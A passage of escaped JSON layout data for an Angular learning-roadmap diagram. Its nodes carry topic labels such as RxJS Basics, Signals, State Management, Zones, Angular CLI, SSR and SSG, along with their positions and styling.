\"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 206\n      },\n      \"positionAbsolute\": {\n        \"x\": -152.73327447982547,\n        \"y\": 1542.7304293708294\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lfp7PIjwITU5gBITQdirD\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 171.04484613528683,\n        \"y\": 1444.7304293708294\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"RxJS Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"8UY0HAvjY7bdbFpt-MM1u\"\n      },\n      \"zIndex\": 999,\n      \"width\": 154,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 154,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 171.04484613528683,\n        \"y\": 1444.7304293708294\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"krXA6ua7E3m4IIpFkgQZe\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 324.86672552017467,\n        \"y\": 1538.93042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Observable Pattern\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 211,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 211,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 324.86672552017467,\n        \"y\": 1538.93042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"b06Y5YrqBbHhWkK6Ws_1c\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 324.86672552017467,\n        \"y\": 1591.93042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Observable Lifecycle\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 211,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 211,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 324.86672552017467,\n        \"y\": 1591.93042937083\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"e1ZmmxPZuogCNgtbPPWmd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 324.86672552017467,\n        \"y\": 1644.93042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"RxJS vs Promises\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 211,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 211,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 324.86672552017467,\n        \"y\": 1644.93042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ihsjIcF0tkhjs56458teE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 324.86672552017467,\n        \"y\": 1697.93042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Operators\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 211,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 211,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 324.86672552017467,\n        \"y\": 1697.93042937083\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nxUbl0eu3LsSL-Z8X6nP5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 332.86672552017467,\n        \"y\": 1751.93042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Filtering\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 195,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 195,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 332.86672552017467,\n        \"y\": 1751.93042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 195,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bJbbayFQ9WSJT9-qy0H5l\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 332.86672552017467,\n        \"y\": 1804.93042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Rate Limiting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 195,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 195,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 332.86672552017467,\n        \"y\": 1804.93042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 195,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kdMJHljMzGA3oRlh8Zvos\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 332.86672552017467,\n        \"y\": 1857.93042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Transformation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 195,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 195,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 332.86672552017467,\n        \"y\": 1857.93042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 195,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"IgUHqfVhiGpwxT9tY8O88\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 332.86672552017467,\n        \"y\": 1910.93042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Combination\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 195,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 195,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 332.86672552017467,\n        \"y\": 1910.93042937083\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 195,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"u1TG8i145o0RKhOR_5epf\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 171.04484613528683,\n        \"y\": 1644.93042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Signals\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 122,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 122,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 171.04484613528683,\n        \"y\": 1644.93042937083\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 122,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KAdtebWvgvMifIwd52yc4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 106.86672552017467,\n        \"y\": 1731.43042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"RxJS Interop\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 190,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 190\n      },\n      \"positionAbsolute\": {\n        \"x\": 106.86672552017467,\n        \"y\": 1731.43042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 190,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LcJyAfv9hjyUNXUVyPRP4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 106.86672552017467,\n        \"y\": 1784.43042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Inputs as Signals\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 190,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 190\n      },\n      \"positionAbsolute\": {\n        \"x\": 106.86672552017467,\n        \"y\": 1784.43042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 190,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9HS9C3yq9EUcUy0ZUZk_H\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 106.86672552017467,\n        \"y\": 1837.43042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Queries as Signals\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 190,\n      \"height\": 69,\n      \"style\": {\n        \"width\": 190\n      },\n      \"positionAbsolute\": {\n        \"x\": 106.86672552017467,\n        \"y\": 1837.43042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 190,\n        \"height\": 69\n      }\n    },\n    {\n      \"id\": \"IeU6ClS_yp6BYKdkQOJVf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 106.86672552017467,\n        \"y\": 1890.43042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Model Inputs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 190,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 190\n      },\n      \"positionAbsolute\": {\n        \"x\": 106.86672552017467,\n        \"y\": 1890.43042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 190,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Mqe_s-nwBqAL6X7OGRHEN\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -151.73327447982547,\n        \"y\": 1644.93042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"State Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 219,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 219,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -151.73327447982547,\n        \"y\": 1644.93042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 219,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"N9ZCPgFnFIUv4jMv1w5qK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -152.13327447982533,\n        \"y\": 1731.43042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"NGXS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 71,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -152.13327447982533,\n        \"y\": 1731.43042937083\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ir94IdkF1tVAA8ZTD9r0N\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -4.133274479825332,\n        \"y\": 1731.43042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"NgRx\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 71,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -4.133274479825332,\n        \"y\": 1731.43042937083\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rgPUcSKxG9DvXicLfC2Ay\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -78.13327447982533,\n        \"y\": 1731.43042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Elf\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 71,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -78.13327447982533,\n        \"y\": 1731.43042937083\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"m4WBnx_9h01Jl6Q1sxi4Y\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -387.63327447982533,\n        \"y\": 1644.93042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Zones\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 94,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -387.63327447982533,\n        \"y\": 1644.93042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 94,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1x5pT607aKE-S-NCWB810\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -507.63327447982533,\n        \"y\": 1566.43042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Zoneless Applications\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 214,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -507.63327447982533,\n        \"y\": 1566.43042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 214,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"EbJib-XfZFF9bpCtL3aBs\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -463.63327447982533,\n        \"y\": 1841.43042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Developer Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -463.63327447982533,\n        \"y\": 1841.43042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4YSk6I63Ew--zoXC3xmrC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -519.1332744798253,\n        \"y\": 1939.43042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Angular CLI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 210,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 210\n      },\n      \"positionAbsolute\": {\n        \"x\": -519.1332744798253,\n        \"y\": 1939.43042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 210,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FVH0lnbIZ2m5EfF2EJ2DW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -512.1332744798253,\n        \"y\": 1996.43042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Local Setup\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 196,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -512.1332744798253,\n        \"y\": 1996.43042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1fVi9AK6aLjt5QgAFbnGX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -512.1332744798253,\n        \"y\": 2049.43042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Deployment\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 196,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -512.1332744798253,\n        \"y\": 2049.43042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yhNGhduk__ow8VTLc6inZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -512.1332744798253,\n        \"y\": 2102.43042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"End-to-End Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 196,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -512.1332744798253,\n        \"y\": 2102.43042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Uvr0pRk_fOzwRwqn0dQ6N\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -512.1332744798253,\n        \"y\": 2155.43042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Schematics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 196,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -512.1332744798253,\n        \"y\": 2155.43042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Ax-s_xw3FO3Ocv-AnLbQD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -512.1332744798253,\n        \"y\": 2208.43042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Build Environments\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 196,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -512.1332744798253,\n        \"y\": 2208.43042937083\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TeWEy9I-hU6SH02Sy2S2S\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -512.1332744798253,\n        \"y\": 2261.43042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CLI Builders\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 196,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -512.1332744798253,\n        \"y\": 2261.43042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"MwtM1UAIfj4FJ-Y4CKDsP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -512.1332744798253,\n        \"y\": 2314.43042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"AoT Compilation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 196,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -512.1332744798253,\n        \"y\": 2314.43042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"T3MmS3bvMMgCUbOk3ktU7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -301.7433266387567,\n        \"y\": 1940.2304293708294\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DevTools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ql7SyxrRmjpiXJ9hQeWPq\"\n      },\n      \"zIndex\": 999,\n      \"width\": 205,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 205,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -301.7433266387567,\n        \"y\": 1940.2304293708294\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 205,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ql7SyxrRmjpiXJ9hQeWPq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -301.7433266387567,\n        \"y\": 1993.2304293708294\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Language Service\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 205,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 205,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -301.7433266387567,\n        \"y\": 1993.2304293708294\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 205,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cl89U8atD6gw5rMGUm4Ix\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -301.7433266387567,\n        \"y\": 2047.93042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Libraries\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 205,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 205,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -301.7433266387567,\n        \"y\": 2047.93042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 205,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YHV5oFwLwphXf1wJTDZuG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -293.63327447982533,\n        \"y\": 2104.93042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Using Libraries\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 189,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 189,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -293.63327447982533,\n        \"y\": 2104.93042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 189,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"A1mYMg7cbcj6p_VkDf-Tz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -293.63327447982533,\n        \"y\": 2157.93042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Creating Libraries\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 189,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 189,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -293.63327447982533,\n        \"y\": 2157.93042937083\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 189,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jfHaS8TqE4tcAo59K8Nkn\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -48.95968546864998,\n        \"y\": 1841.43042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SSR\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"EbJib-XfZFF9bpCtL3aBs\"\n      },\n      \"zIndex\": 999,\n      \"width\": 108,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 108,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -48.95968546864998,\n        \"y\": 1841.43042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": true,\n      \"measured\": {\n        \"width\": 108,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"b-0yQ74zHtAxI9aRLBohc\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -48.95968546864998,\n        \"y\": 1989.2304293708294\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SSG\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 108,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 108,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -48.95968546864998,\n        \"y\": 1989.2304293708294\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 108,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kauQofxCmpktXPcnzid17\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 142.86672552017467,\n        \"y\": 1988.43042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"AnalogJS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      